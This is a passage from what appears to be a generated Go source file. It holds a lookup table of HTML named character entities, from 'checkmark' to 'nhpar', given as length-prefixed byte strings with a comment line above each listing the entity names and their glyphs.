			"\x08eckmark;\x03✓\x04eck;\x03✓\x03cy;\x02ч\x02i;\x02χ",
			// circlearrowright;[↻] circlearrowleft;[↺] circledcirc;[⊚] circleddash;[⊝] circledast;[⊛] circledR;[®] circledS;[Ⓢ] cirfnint;[⨐] cirscir;[⧂] circeq;[≗] cirmid;[⫯] cirE;[⧃] circ;[ˆ] cire;[≗] cir;[○].
			"\x0frclearrowright;\x03↻\x0erclearrowleft;\x03↺\x0arcledcirc;\x03⊚\x0arcleddash;\x03⊝\x09rcledast;\x03⊛\x07rcledR;\x02®\x07rcledS;\x03Ⓢ\x07rfnint;\x03⨐\x06rscir;\x03⧂\x05rceq;\x03≗\x05rmid;\x03⫯\x03rE;\x03⧃\x03rc;\x02ˆ\x03re;\x03≗\x02r;\x03○",
			// clubsuit;[♣] clubs;[♣].
			"\x07ubsuit;\x03♣\x04ubs;\x03♣",
			// complement;[∁] complexes;[ℂ] coloneq;[≔] congdot;[⩭] colone;[≔] commat;[@] compfn;[∘] conint;[∮] coprod;[∐] copysr;[℗] colon;[:] comma;[,] comp;[∁] cong;[≅] copf;[𝕔] copy;[©] copy[©].
			"\x09mplement;\x03∁\x08mplexes;\x03ℂ\x06loneq;\x03≔\x06ngdot;\x03⩭\x05lone;\x03≔\x05mmat;\x01@\x05mpfn;\x03∘\x05nint;\x03∮\x05prod;\x03∐\x05pysr;\x03℗\x04lon;\x01:\x04mma;\x01,\x03mp;\x03∁\x03ng;\x03≅\x03pf;\x04𝕔\x03py;\x02©\x02py\x02©",
			// crarr;[↵] cross;[✗].
			"\x04arr;\x03↵\x04oss;\x03✗",
			// csube;[⫑] csupe;[⫒] cscr;[𝒸] csub;[⫏] csup;[⫐].
			"\x04ube;\x03⫑\x04upe;\x03⫒\x03cr;\x04𝒸\x03ub;\x03⫏\x03up;\x03⫐",
			// ctdot;[⋯].
			"\x04dot;\x03⋯",
			// curvearrowright;[↷] curvearrowleft;[↶] curlyeqprec;[⋞] curlyeqsucc;[⋟] curlywedge;[⋏] cupbrcap;[⩈] curlyvee;[⋎] cudarrl;[⤸] cudarrr;[⤵] cularrp;[⤽] curarrm;[⤼] cularr;[↶] cupcap;[⩆] cupcup;[⩊] cupdot;[⊍] curarr;[↷] curren;[¤] cuepr;[⋞] cuesc;[⋟] cupor;[⩅] curren[¤] cuvee;[⋎] cuwed;[⋏] cups;[∪︀] cup;[∪].
			"\x0ervearrowright;\x03↷\x0drvearrowleft;\x03↶\x0arlyeqprec;\x03⋞\x0arlyeqsucc;\x03⋟\x09rlywedge;\x03⋏\x07pbrcap;\x03⩈\x07rlyvee;\x03⋎\x06darrl;\x03⤸\x06darrr;\x03⤵\x06larrp;\x03⤽\x06rarrm;\x03⤼\x05larr;\x03↶\x05pcap;\x03⩆\x05pcup;\x03⩊\x05pdot;\x03⊍\x05rarr;\x03↷\x05rren;\x02¤\x04epr;\x03⋞\x04esc;\x03⋟\x04por;\x03⩅\x04rren\x02¤\x04vee;\x03⋎\x04wed;\x03⋏\x03ps;\x06∪︀\x02p;\x03∪",
			// cwconint;[∲] cwint;[∱].
			"\x07conint;\x03∲\x04int;\x03∱",
			// cylcty;[⌭].
			"\x05lcty;\x03⌭",
			// dArr;[⇓].
			"\x03rr;\x03⇓",
			// dHar;[⥥].
			"\x03ar;\x03⥥",
			// dagger;[†] daleth;[ℸ] dashv;[⊣] darr;[↓] dash;[‐].
			"\x05gger;\x03†\x05leth;\x03ℸ\x04shv;\x03⊣\x03rr;\x03↓\x03sh;\x03‐",
			// dbkarow;[⤏] dblac;[˝].
			"\x06karow;\x03⤏\x04lac;\x02˝",
			// dcaron;[ď] dcy;[д].
			"\x05aron;\x02ď\x02y;\x02д",
			// ddagger;[‡] ddotseq;[⩷] ddarr;[⇊] dd;[ⅆ].
			"\x06agger;\x03‡\x06otseq;\x03⩷\x04arr;\x03⇊\x01;\x03ⅆ",
			// demptyv;[⦱] delta;[δ] deg;[°] deg[°].
			"\x06mptyv;\x03⦱\x04lta;\x02δ\x02g;\x02°\x01g\x02°",
			// dfisht;[⥿] dfr;[𝔡].
			"\x05isht;\x03⥿\x02r;\x04𝔡",
			// dharl;[⇃] dharr;[⇂].
			"\x04arl;\x03⇃\x04arr;\x03⇂",
			// divideontimes;[⋇] diamondsuit;[♦] diamond;[⋄] digamma;[ϝ] divide;[÷] divonx;[⋇] diams;[♦] disin;[⋲] divide[÷] diam;[⋄] die;[¨] div;[÷].
			"\x0cvideontimes;\x03⋇\x0aamondsuit;\x03♦\x06amond;\x03⋄\x06gamma;\x02ϝ\x05vide;\x02÷\x05vonx;\x03⋇\x04ams;\x03♦\x04sin;\x03⋲\x04vide\x02÷\x03am;\x03⋄\x02e;\x02¨\x02v;\x02÷",
			// djcy;[ђ].
			"\x03cy;\x02ђ",
			// dlcorn;[⌞] dlcrop;[⌍].
			"\x05corn;\x03⌞\x05crop;\x03⌍",
			// downharpoonright;[⇂] downharpoonleft;[⇃] doublebarwedge;[⌆] downdownarrows;[⇊] dotsquare;[⊡] downarrow;[↓] doteqdot;[≑] dotminus;[∸] dotplus;[∔] dollar;[$] doteq;[≐] dopf;[𝕕] dot;[˙].
			"\x0fwnharpoonright;\x03⇂\x0ewnharpoonleft;\x03⇃\x0dublebarwedge;\x03⌆\x0dwndownarrows;\x03⇊\x08tsquare;\x03⊡\x08wnarrow;\x03↓\x07teqdot;\x03≑\x07tminus;\x03∸\x06tplus;\x03∔\x05llar;\x01$\x04teq;\x03≐\x03pf;\x04𝕕\x02t;\x02˙",
			// drbkarow;[⤐] drcorn;[⌟] drcrop;[⌌].
			"\x07bkarow;\x03⤐\x05corn;\x03⌟\x05crop;\x03⌌",
			// dstrok;[đ] dscr;[𝒹] dscy;[ѕ] dsol;[⧶].
			"\x05trok;\x02đ\x03cr;\x04𝒹\x03cy;\x02ѕ\x03ol;\x03⧶",
			// dtdot;[⋱] dtrif;[▾] dtri;[▿].
			"\x04dot;\x03⋱\x04rif;\x03▾\x03ri;\x03▿",
			// duarr;[⇵] duhar;[⥯].
			"\x04arr;\x03⇵\x04har;\x03⥯",
			// dwangle;[⦦].
			"\x06angle;\x03⦦",
			// dzigrarr;[⟿] dzcy;[џ].
			"\x07igrarr;\x03⟿\x03cy;\x02џ",
			// eDDot;[⩷] eDot;[≑].
			"\x04Dot;\x03⩷\x03ot;\x03≑",
			// eacute;[é] easter;[⩮] eacute[é].
			"\x05cute;\x02é\x05ster;\x03⩮\x04cute\x02é",
			// ecaron;[ě] ecolon;[≕] ecirc;[ê] ecir;[≖] ecirc[ê] ecy;[э].
			"\x05aron;\x02ě\x05olon;\x03≕\x04irc;\x02ê\x03ir;\x03≖\x03irc\x02ê\x02y;\x02э",
			// edot;[ė].
			"\x03ot;\x02ė",
			// ee;[ⅇ].
			"\x01;\x03ⅇ",
			// efDot;[≒] efr;[𝔢].
			"\x04Dot;\x03≒\x02r;\x04𝔢",
			// egrave;[è] egsdot;[⪘] egrave[è] egs;[⪖] eg;[⪚].
			"\x05rave;\x02è\x05sdot;\x03⪘\x04rave\x02è\x02s;\x03⪖\x01;\x03⪚",
			// elinters;[⏧] elsdot;[⪗] ell;[ℓ] els;[⪕] el;[⪙].
			"\x07inters;\x03⏧\x05sdot;\x03⪗\x02l;\x03ℓ\x02s;\x03⪕\x01;\x03⪙",
			// emptyset;[∅] emptyv;[∅] emsp13;[ ] emsp14;[ ] emacr;[ē] empty;[∅] emsp;[ ].
			"\x07ptyset;\x03∅\x05ptyv;\x03∅\x05sp13;\x03 \x05sp14;\x03 \x04acr;\x02ē\x04pty;\x03∅\x03sp;\x03 ",
			// ensp;[ ] eng;[ŋ].
			"\x03sp;\x03 \x02g;\x02ŋ",
			// eogon;[ę] eopf;[𝕖].
			"\x04gon;\x02ę\x03pf;\x04𝕖",
			// epsilon;[ε] eparsl;[⧣] eplus;[⩱] epsiv;[ϵ] epar;[⋕] epsi;[ε].
			"\x06silon;\x02ε\x05arsl;\x03⧣\x04lus;\x03⩱\x04siv;\x02ϵ\x03ar;\x03⋕\x03si;\x02ε",
			// eqslantless;[⪕] eqslantgtr;[⪖] eqvparsl;[⧥] eqcolon;[≕] equivDD;[⩸] eqcirc;[≖] equals;[=] equest;[≟] eqsim;[≂] equiv;[≡].
			"\x0aslantless;\x03⪕\x09slantgtr;\x03⪖\x07vparsl;\x03⧥\x06colon;\x03≕\x06uivDD;\x03⩸\x05circ;\x03≖\x05uals;\x01=\x05uest;\x03≟\x04sim;\x03≂\x04uiv;\x03≡",
			// erDot;[≓] erarr;[⥱].
			"\x04Dot;\x03≓\x04arr;\x03⥱",
			// esdot;[≐] escr;[ℯ] esim;[≂].
			"\x04dot;\x03≐\x03cr;\x03ℯ\x03im;\x03≂",
			// eta;[η] eth;[ð] eth[ð].
			"\x02a;\x02η\x02h;\x02ð\x01h\x02ð",
			// euml;[ë] euro;[€] euml[ë].
			"\x03ml;\x02ë\x03ro;\x03€\x02ml\x02ë",
			// exponentiale;[ⅇ] expectation;[ℰ] exist;[∃] excl;[!].
			"\x0bponentiale;\x03ⅇ\x0apectation;\x03ℰ\x04ist;\x03∃\x03cl;\x01!",
			// fallingdotseq;[≒].
			"\x0cllingdotseq;\x03≒",
			// fcy;[ф].
			"\x02y;\x02ф",
			// female;[♀].
			"\x05male;\x03♀",
			// ffilig;[ffi] ffllig;[ffl] fflig;[ff] ffr;[𝔣].
			"\x05ilig;\x03ffi\x05llig;\x03ffl\x04lig;\x03ff\x02r;\x04𝔣",
			// filig;[fi].
			"\x04lig;\x03fi",
			// fjlig;[fj].
			"\x04lig;\x02fj",
			// fllig;[fl] fltns;[▱] flat;[♭].
			"\x04lig;\x03fl\x04tns;\x03▱\x03at;\x03♭",
			// fnof;[ƒ].
			"\x03of;\x02ƒ",
			// forall;[∀] forkv;[⫙] fopf;[𝕗] fork;[⋔].
			"\x05rall;\x03∀\x04rkv;\x03⫙\x03pf;\x04𝕗\x03rk;\x03⋔",
			// fpartint;[⨍].
			"\x07artint;\x03⨍",
			// frac12;[½] frac13;[⅓] frac14;[¼] frac15;[⅕] frac16;[⅙] frac18;[⅛] frac23;[⅔] frac25;[⅖] frac34;[¾] frac35;[⅗] frac38;[⅜] frac45;[⅘] frac56;[⅚] frac58;[⅝] frac78;[⅞] frac12[½] frac14[¼] frac34[¾] frasl;[⁄] frown;[⌢].
			"\x05ac12;\x02½\x05ac13;\x03⅓\x05ac14;\x02¼\x05ac15;\x03⅕\x05ac16;\x03⅙\x05ac18;\x03⅛\x05ac23;\x03⅔\x05ac25;\x03⅖\x05ac34;\x02¾\x05ac35;\x03⅗\x05ac38;\x03⅜\x05ac45;\x03⅘\x05ac56;\x03⅚\x05ac58;\x03⅝\x05ac78;\x03⅞\x04ac12\x02½\x04ac14\x02¼\x04ac34\x02¾\x04asl;\x03⁄\x04own;\x03⌢",
			// fscr;[𝒻].
			"\x03cr;\x04𝒻",
			// gEl;[⪌] gE;[≧].
			"\x02l;\x03⪌\x01;\x03≧",
			// gacute;[ǵ] gammad;[ϝ] gamma;[γ] gap;[⪆].
			"\x05cute;\x02ǵ\x05mmad;\x02ϝ\x04mma;\x02γ\x02p;\x03⪆",
			// gbreve;[ğ].
			"\x05reve;\x02ğ",
			// gcirc;[ĝ] gcy;[г].
			"\x04irc;\x02ĝ\x02y;\x02г",
			// gdot;[ġ].
			"\x03ot;\x02ġ",
			// geqslant;[⩾] gesdotol;[⪄] gesdoto;[⪂] gesdot;[⪀] gesles;[⪔] gescc;[⪩] geqq;[≧] gesl;[⋛︀] gel;[⋛] geq;[≥] ges;[⩾] ge;[≥].
			"\x07qslant;\x03⩾\x07sdotol;\x03⪄\x06sdoto;\x03⪂\x05sdot;\x03⪀\x05sles;\x03⪔\x04scc;\x03⪩\x03qq;\x03≧\x03sl;\x06⋛︀\x02l;\x03⋛\x02q;\x03≥\x02s;\x03⩾\x01;\x03≥",
			// gfr;[𝔤].
			"\x02r;\x04𝔤",
			// ggg;[⋙] gg;[≫].
			"\x02g;\x03⋙\x01;\x03≫",
			// gimel;[ℷ].
			"\x04mel;\x03ℷ",
			// gjcy;[ѓ].
			"\x03cy;\x02ѓ",
			// glE;[⪒] gla;[⪥] glj;[⪤] gl;[≷].
			"\x02E;\x03⪒\x02a;\x03⪥\x02j;\x03⪤\x01;\x03≷",
			// gnapprox;[⪊] gneqq;[≩] gnsim;[⋧] gnap;[⪊] gneq;[⪈] gnE;[≩] gne;[⪈].
			"\x07approx;\x03⪊\x04eqq;\x03≩\x04sim;\x03⋧\x03ap;\x03⪊\x03eq;\x03⪈\x02E;\x03≩\x02e;\x03⪈",
			// gopf;[𝕘].
			"\x03pf;\x04𝕘",
			// grave;[`].
			"\x04ave;\x01`",
			// gsime;[⪎] gsiml;[⪐] gscr;[ℊ] gsim;[≳].
			"\x04ime;\x03⪎\x04iml;\x03⪐\x03cr;\x03ℊ\x03im;\x03≳",
			// gtreqqless;[⪌] gtrapprox;[⪆] gtreqless;[⋛] gtquest;[⩼] gtrless;[≷] gtlPar;[⦕] gtrarr;[⥸] gtrdot;[⋗] gtrsim;[≳] gtcir;[⩺] gtdot;[⋗] gtcc;[⪧] gt;[>].
			"\x09reqqless;\x03⪌\x08rapprox;\x03⪆\x08reqless;\x03⋛\x06quest;\x03⩼\x06rless;\x03≷\x05lPar;\x03⦕\x05rarr;\x03⥸\x05rdot;\x03⋗\x05rsim;\x03≳\x04cir;\x03⩺\x04dot;\x03⋗\x03cc;\x03⪧\x01;\x01>",
			// gvertneqq;[≩︀] gvnE;[≩︀].
			"\x08ertneqq;\x06≩︀\x03nE;\x06≩︀",
			// hArr;[⇔].
			"\x03rr;\x03⇔",
			// harrcir;[⥈] hairsp;[ ] hamilt;[ℋ] hardcy;[ъ] harrw;[↭] half;[½] harr;[↔].
			"\x06rrcir;\x03⥈\x05irsp;\x03 \x05milt;\x03ℋ\x05rdcy;\x02ъ\x04rrw;\x03↭\x03lf;\x02½\x03rr;\x03↔",
			// hbar;[ℏ].
			"\x03ar;\x03ℏ",
			// hcirc;[ĥ].
			"\x04irc;\x02ĥ",
			// heartsuit;[♥] hearts;[♥] hellip;[…] hercon;[⊹].
			"\x08artsuit;\x03♥\x05arts;\x03♥\x05llip;\x03…\x05rcon;\x03⊹",
			// hfr;[𝔥].
			"\x02r;\x04𝔥",
			// hksearow;[⤥] hkswarow;[⤦].
			"\x07searow;\x03⤥\x07swarow;\x03⤦",
			// hookrightarrow;[↪] hookleftarrow;[↩] homtht;[∻] horbar;[―] hoarr;[⇿] hopf;[𝕙].
			"\x0dokrightarrow;\x03↪\x0cokleftarrow;\x03↩\x05mtht;\x03∻\x05rbar;\x03―\x04arr;\x03⇿\x03pf;\x04𝕙",
			// hslash;[ℏ] hstrok;[ħ] hscr;[𝒽].
			"\x05lash;\x03ℏ\x05trok;\x02ħ\x03cr;\x04𝒽",
			// hybull;[⁃] hyphen;[‐].
			"\x05bull;\x03⁃\x05phen;\x03‐",
			// iacute;[í] iacute[í].
			"\x05cute;\x02í\x04cute\x02í",
			// icirc;[î] icirc[î] icy;[и] ic;[⁣].
			"\x04irc;\x02î\x03irc\x02î\x02y;\x02и\x01;\x03⁣",
			// iexcl;[¡] iecy;[е] iexcl[¡].
			"\x04xcl;\x02¡\x03cy;\x02е\x03xcl\x02¡",
			// iff;[⇔] ifr;[𝔦].
			"\x02f;\x03⇔\x02r;\x04𝔦",
			// igrave;[ì] igrave[ì].
			"\x05rave;\x02ì\x04rave\x02ì",
			// iiiint;[⨌] iinfin;[⧜] iiint;[∭] iiota;[℩] ii;[ⅈ].
			"\x05iint;\x03⨌\x05nfin;\x03⧜\x04int;\x03∭\x04ota;\x03℩\x01;\x03ⅈ",
			// ijlig;[ij].
			"\x04lig;\x02ij",
			// imagline;[ℐ] imagpart;[ℑ] imacr;[ī] image;[ℑ] imath;[ı] imped;[Ƶ] imof;[⊷].
			"\x07agline;\x03ℐ\x07agpart;\x03ℑ\x04acr;\x02ī\x04age;\x03ℑ\x04ath;\x02ı\x04ped;\x02Ƶ\x03of;\x03⊷",
			// infintie;[⧝] integers;[ℤ] intercal;[⊺] intlarhk;[⨗] intprod;[⨼] incare;[℅] inodot;[ı] intcal;[⊺] infin;[∞] int;[∫] in;[∈].
			"\x07fintie;\x03⧝\x07tegers;\x03ℤ\x07tercal;\x03⊺\x07tlarhk;\x03⨗\x06tprod;\x03⨼\x05care;\x03℅\x05odot;\x02ı\x05tcal;\x03⊺\x04fin;\x03∞\x02t;\x03∫\x01;\x03∈",
			// iogon;[į] iocy;[ё] iopf;[𝕚] iota;[ι].
			"\x04gon;\x02į\x03cy;\x02ё\x03pf;\x04𝕚\x03ta;\x02ι",
			// iprod;[⨼].
			"\x04rod;\x03⨼",
			// iquest;[¿] iquest[¿].
			"\x05uest;\x02¿\x04uest\x02¿",
			// isindot;[⋵] isinsv;[⋳] isinE;[⋹] isins;[⋴] isinv;[∈] iscr;[𝒾] isin;[∈].
			"\x06indot;\x03⋵\x05insv;\x03⋳\x04inE;\x03⋹\x04ins;\x03⋴\x04inv;\x03∈\x03cr;\x04𝒾\x03in;\x03∈",
			// itilde;[ĩ] it;[⁢].
			"\x05ilde;\x02ĩ\x01;\x03⁢",
			// iukcy;[і] iuml;[ï] iuml[ï].
			"\x04kcy;\x02і\x03ml;\x02ï\x02ml\x02ï",
			// jcirc;[ĵ] jcy;[й].
			"\x04irc;\x02ĵ\x02y;\x02й",
			// jfr;[𝔧].
			"\x02r;\x04𝔧",
			// jmath;[ȷ].
			"\x04ath;\x02ȷ",
			// jopf;[𝕛].
			"\x03pf;\x04𝕛",
			// jsercy;[ј] jscr;[𝒿].
			"\x05ercy;\x02ј\x03cr;\x04𝒿",
			// jukcy;[є].
			"\x04kcy;\x02є",
			// kappav;[ϰ] kappa;[κ].
			"\x05ppav;\x02ϰ\x04ppa;\x02κ",
			// kcedil;[ķ] kcy;[к].
			"\x05edil;\x02ķ\x02y;\x02к",
			// kfr;[𝔨].
			"\x02r;\x04𝔨",
			// kgreen;[ĸ].
			"\x05reen;\x02ĸ",
			// khcy;[х].
			"\x03cy;\x02х",
			// kjcy;[ќ].
			"\x03cy;\x02ќ",
			// kopf;[𝕜].
			"\x03pf;\x04𝕜",
			// kscr;[𝓀].
			"\x03cr;\x04𝓀",
			// lAtail;[⤛] lAarr;[⇚] lArr;[⇐].
			"\x05tail;\x03⤛\x04arr;\x03⇚\x03rr;\x03⇐",
			// lBarr;[⤎].
			"\x04arr;\x03⤎",
			// lEg;[⪋] lE;[≦].
			"\x02g;\x03⪋\x01;\x03≦",
			// lHar;[⥢].
			"\x03ar;\x03⥢",
			// laemptyv;[⦴] larrbfs;[⤟] larrsim;[⥳] lacute;[ĺ] lagran;[ℒ] lambda;[λ] langle;[⟨] larrfs;[⤝] larrhk;[↩] larrlp;[↫] larrpl;[⤹] larrtl;[↢] latail;[⤙] langd;[⦑] laquo;[«] larrb;[⇤] lates;[⪭︀] lang;[⟨] laquo[«] larr;[←] late;[⪭] lap;[⪅] lat;[⪫].
			"\x07emptyv;\x03⦴\x06rrbfs;\x03⤟\x06rrsim;\x03⥳\x05cute;\x02ĺ\x05gran;\x03ℒ\x05mbda;\x02λ\x05ngle;\x03⟨\x05rrfs;\x03⤝\x05rrhk;\x03↩\x05rrlp;\x03↫\x05rrpl;\x03⤹\x05rrtl;\x03↢\x05tail;\x03⤙\x04ngd;\x03⦑\x04quo;\x02«\x04rrb;\x03⇤\x04tes;\x06⪭︀\x03ng;\x03⟨\x03quo\x02«\x03rr;\x03←\x03te;\x03⪭\x02p;\x03⪅\x02t;\x03⪫",
			// lbrksld;[⦏] lbrkslu;[⦍] lbrace;[{] lbrack;[[] lbarr;[⤌] lbbrk;[❲] lbrke;[⦋].
			"\x06rksld;\x03⦏\x06rkslu;\x03⦍\x05race;\x01{\x05rack;\x01[\x04arr;\x03⤌\x04brk;\x03❲\x04rke;\x03⦋",
			// lcaron;[ľ] lcedil;[ļ] lceil;[⌈] lcub;[{] lcy;[л].
			"\x05aron;\x02ľ\x05edil;\x02ļ\x04eil;\x03⌈\x03ub;\x01{\x02y;\x02л",
			// ldrushar;[⥋] ldrdhar;[⥧] ldquor;[„] ldquo;[“] ldca;[⤶] ldsh;[↲].
			"\x07rushar;\x03⥋\x06rdhar;\x03⥧\x05quor;\x03„\x04quo;\x03“\x03ca;\x03⤶\x03sh;\x03↲",
			// leftrightsquigarrow;[↭] leftrightharpoons;[⇋] leftharpoondown;[↽] leftrightarrows;[⇆] leftleftarrows;[⇇] leftrightarrow;[↔] leftthreetimes;[⋋] leftarrowtail;[↢] leftharpoonup;[↼] lessapprox;[⪅] lesseqqgtr;[⪋] leftarrow;[←] lesseqgtr;[⋚] leqslant;[⩽] lesdotor;[⪃] lesdoto;[⪁] lessdot;[⋖] lessgtr;[≶] lesssim;[≲] lesdot;[⩿] lesges;[⪓] lescc;[⪨] leqq;[≦] lesg;[⋚︀] leg;[⋚] leq;[≤] les;[⩽] le;[≤].
			"\x12ftrightsquigarrow;\x03↭\x10ftrightharpoons;\x03⇋\x0eftharpoondown;\x03↽\x0eftrightarrows;\x03⇆\x0dftleftarrows;\x03⇇\x0dftrightarrow;\x03↔\x0dftthreetimes;\x03⋋\x0cftarrowtail;\x03↢\x0cftharpoonup;\x03↼\x09ssapprox;\x03⪅\x09sseqqgtr;\x03⪋\x08ftarrow;\x03←\x08sseqgtr;\x03⋚\x07qslant;\x03⩽\x07sdotor;\x03⪃\x06sdoto;\x03⪁\x06ssdot;\x03⋖\x06ssgtr;\x03≶\x06sssim;\x03≲\x05sdot;\x03⩿\x05sges;\x03⪓\x04scc;\x03⪨\x03qq;\x03≦\x03sg;\x06⋚︀\x02g;\x03⋚\x02q;\x03≤\x02s;\x03⩽\x01;\x03≤",
			// lfisht;[⥼] lfloor;[⌊] lfr;[𝔩].
			"\x05isht;\x03⥼\x05loor;\x03⌊\x02r;\x04𝔩",
			// lgE;[⪑] lg;[≶].
			"\x02E;\x03⪑\x01;\x03≶",
			// lharul;[⥪] lhard;[↽] lharu;[↼] lhblk;[▄].
			"\x05arul;\x03⥪\x04ard;\x03↽\x04aru;\x03↼\x04blk;\x03▄",
			// ljcy;[љ].
			"\x03cy;\x02љ",
			// llcorner;[⌞] llhard;[⥫] llarr;[⇇] lltri;[◺] ll;[≪].
			"\x07corner;\x03⌞\x05hard;\x03⥫\x04arr;\x03⇇\x04tri;\x03◺\x01;\x03≪",
			// lmoustache;[⎰] lmidot;[ŀ] lmoust;[⎰].
			"\x09oustache;\x03⎰\x05idot;\x02ŀ\x05oust;\x03⎰",
			// lnapprox;[⪉] lneqq;[≨] lnsim;[⋦] lnap;[⪉] lneq;[⪇] lnE;[≨] lne;[⪇].
			"\x07approx;\x03⪉\x04eqq;\x03≨\x04sim;\x03⋦\x03ap;\x03⪉\x03eq;\x03⪇\x02E;\x03≨\x02e;\x03⪇",
			// longleftrightarrow;[⟷] longrightarrow;[⟶] looparrowright;[↬] longleftarrow;[⟵] looparrowleft;[↫] longmapsto;[⟼] lotimes;[⨴] lozenge;[◊] loplus;[⨭] lowast;[∗] lowbar;[_] loang;[⟬] loarr;[⇽] lobrk;[⟦] lopar;[⦅] lopf;[𝕝] lozf;[⧫] loz;[◊].
			"\x11ngleftrightarrow;\x03⟷\x0dngrightarrow;\x03⟶\x0doparrowright;\x03↬\x0cngleftarrow;\x03⟵\x0coparrowleft;\x03↫\x09ngmapsto;\x03⟼\x06times;\x03⨴\x06zenge;\x03◊\x05plus;\x03⨭\x05wast;\x03∗\x05wbar;\x01_\x04ang;\x03⟬\x04arr;\x03⇽\x04brk;\x03⟦\x04par;\x03⦅\x03pf;\x04𝕝\x03zf;\x03⧫\x02z;\x03◊",
			// lparlt;[⦓] lpar;[(].
			"\x05arlt;\x03⦓\x03ar;\x01(",
			// lrcorner;[⌟] lrhard;[⥭] lrarr;[⇆] lrhar;[⇋] lrtri;[⊿] lrm;[‎].
			"\x07corner;\x03⌟\x05hard;\x03⥭\x04arr;\x03⇆\x04har;\x03⇋\x04tri;\x03⊿\x02m;\x03‎",
			// lsaquo;[‹] lsquor;[‚] lstrok;[ł] lsime;[⪍] lsimg;[⪏] lsquo;[‘] lscr;[𝓁] lsim;[≲] lsqb;[[] lsh;[↰].
			"\x05aquo;\x03‹\x05quor;\x03‚\x05trok;\x02ł\x04ime;\x03⪍\x04img;\x03⪏\x04quo;\x03‘\x03cr;\x04𝓁\x03im;\x03≲\x03qb;\x01[\x02h;\x03↰",
			// ltquest;[⩻] lthree;[⋋] ltimes;[⋉] ltlarr;[⥶] ltrPar;[⦖] ltcir;[⩹] ltdot;[⋖] ltrie;[⊴] ltrif;[◂] ltcc;[⪦] ltri;[◃] lt;[<].
			"\x06quest;\x03⩻\x05hree;\x03⋋\x05imes;\x03⋉\x05larr;\x03⥶\x05rPar;\x03⦖\x04cir;\x03⩹\x04dot;\x03⋖\x04rie;\x03⊴\x04rif;\x03◂\x03cc;\x03⪦\x03ri;\x03◃\x01;\x01<",
			// lurdshar;[⥊] luruhar;[⥦].
			"\x07rdshar;\x03⥊\x06ruhar;\x03⥦",
			// lvertneqq;[≨︀] lvnE;[≨︀].
			"\x08ertneqq;\x06≨︀\x03nE;\x06≨︀",
			// mDDot;[∺].
			"\x04Dot;\x03∺",
			// mapstodown;[↧] mapstoleft;[↤] mapstoup;[↥] maltese;[✠] mapsto;[↦] marker;[▮] macr;[¯] male;[♂] malt;[✠] macr[¯] map;[↦].
			"\x09pstodown;\x03↧\x09pstoleft;\x03↤\x07pstoup;\x03↥\x06ltese;\x03✠\x05psto;\x03↦\x05rker;\x03▮\x03cr;\x02¯\x03le;\x03♂\x03lt;\x03✠\x02cr\x02¯\x02p;\x03↦",
			// mcomma;[⨩] mcy;[м].
			"\x05omma;\x03⨩\x02y;\x02м",
			// mdash;[—].
			"\x04ash;\x03—",
			// measuredangle;[∡].
			"\x0casuredangle;\x03∡",
			// mfr;[𝔪].
			"\x02r;\x04𝔪",
			// mho;[℧].
			"\x02o;\x03℧",
			// minusdu;[⨪] midast;[*] midcir;[⫰] middot;[·] minusb;[⊟] minusd;[∸] micro;[µ] middot[·] minus;[−] micro[µ] mid;[∣].
			"\x06nusdu;\x03⨪\x05dast;\x01*\x05dcir;\x03⫰\x05ddot;\x02·\x05nusb;\x03⊟\x05nusd;\x03∸\x04cro;\x02µ\x04ddot\x02·\x04nus;\x03−\x03cro\x02µ\x02d;\x03∣",
			// mlcp;[⫛] mldr;[…].
			"\x03cp;\x03⫛\x03dr;\x03…",
			// mnplus;[∓].
			"\x05plus;\x03∓",
			// models;[⊧] mopf;[𝕞].
			"\x05dels;\x03⊧\x03pf;\x04𝕞",
			// mp;[∓].
			"\x01;\x03∓",
			// mstpos;[∾] mscr;[𝓂].
			"\x05tpos;\x03∾\x03cr;\x04𝓂",
			// multimap;[⊸] mumap;[⊸] mu;[μ].
			"\x07ltimap;\x03⊸\x04map;\x03⊸\x01;\x02μ",
			// nGtv;[≫̸] nGg;[⋙̸] nGt;[≫⃒].
			"\x03tv;\x05≫̸\x02g;\x05⋙̸\x02t;\x06≫⃒",
			// nLeftrightarrow;[⇎] nLeftarrow;[⇍] nLtv;[≪̸] nLl;[⋘̸] nLt;[≪⃒].
			"\x0eeftrightarrow;\x03⇎\x09eftarrow;\x03⇍\x03tv;\x05≪̸\x02l;\x05⋘̸\x02t;\x06≪⃒",
			// nRightarrow;[⇏].
			"\x0aightarrow;\x03⇏",
			// nVDash;[⊯] nVdash;[⊮].
			"\x05Dash;\x03⊯\x05dash;\x03⊮",
			// naturals;[ℕ] napprox;[≉] natural;[♮] nacute;[ń] nabla;[∇] napid;[≋̸] napos;[ʼn] natur;[♮] nang;[∠⃒] napE;[⩰̸] nap;[≉].
			"\x07turals;\x03ℕ\x06pprox;\x03≉\x06tural;\x03♮\x05cute;\x02ń\x04bla;\x03∇\x04pid;\x05≋̸\x04pos;\x02ʼn\x04tur;\x03♮\x03ng;\x06∠⃒\x03pE;\x05⩰̸\x02p;\x03≉",
			// nbumpe;[≏̸] nbump;[≎̸] nbsp;[ ] nbsp[ ].
			"\x05umpe;\x05≏̸\x04ump;\x05≎̸\x03sp;\x02 \x02sp\x02 ",
			// ncongdot;[⩭̸] ncaron;[ň] ncedil;[ņ] ncong;[≇] ncap;[⩃] ncup;[⩂] ncy;[н].
			"\x07ongdot;\x05⩭̸\x05aron;\x02ň\x05edil;\x02ņ\x04ong;\x03≇\x03ap;\x03⩃\x03up;\x03⩂\x02y;\x02н",
			// ndash;[–].
			"\x04ash;\x03–",
			// nearrow;[↗] nexists;[∄] nearhk;[⤤] nequiv;[≢] nesear;[⤨] nexist;[∄] neArr;[⇗] nearr;[↗] nedot;[≐̸] nesim;[≂̸] ne;[≠].
			"\x06arrow;\x03↗\x06xists;\x03∄\x05arhk;\x03⤤\x05quiv;\x03≢\x05sear;\x03⤨\x05xist;\x03∄\x04Arr;\x03⇗\x04arr;\x03↗\x04dot;\x05≐̸\x04sim;\x05≂̸\x01;\x03≠",
			// nfr;[𝔫].
			"\x02r;\x04𝔫",
			// ngeqslant;[⩾̸] ngeqq;[≧̸] ngsim;[≵] ngeq;[≱] nges;[⩾̸] ngtr;[≯] ngE;[≧̸] nge;[≱] ngt;[≯].
			"\x08eqslant;\x05⩾̸\x04eqq;\x05≧̸\x04sim;\x03≵\x03eq;\x03≱\x03es;\x05⩾̸\x03tr;\x03≯\x02E;\x05≧̸\x02e;\x03≱\x02t;\x03≯",
			// nhArr;[⇎] nharr;[↮] nhpar;[⫲].
			"\x04Arr;\x03⇎\x04arr;\x03↮\x04par;\x03⫲",
